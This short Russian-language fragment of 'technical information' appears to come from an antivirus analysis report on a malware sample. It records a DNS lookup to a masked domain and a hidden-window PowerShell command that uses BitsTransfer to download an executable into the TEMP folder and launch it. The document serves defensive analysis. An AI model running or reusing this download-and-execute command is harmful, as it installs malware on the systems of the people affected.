Техническая информация
- DNS ASK sp##im.biz
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -command Import-Module BitsTransfer; Start-BitsTransfer -Source http://sp##im.biz/fveupdate.exe -Destination \"$env:TEMP\fikto.exe\"; Start-Process -FilePath \"$env:TEMP\fik...' (со скрытым окном)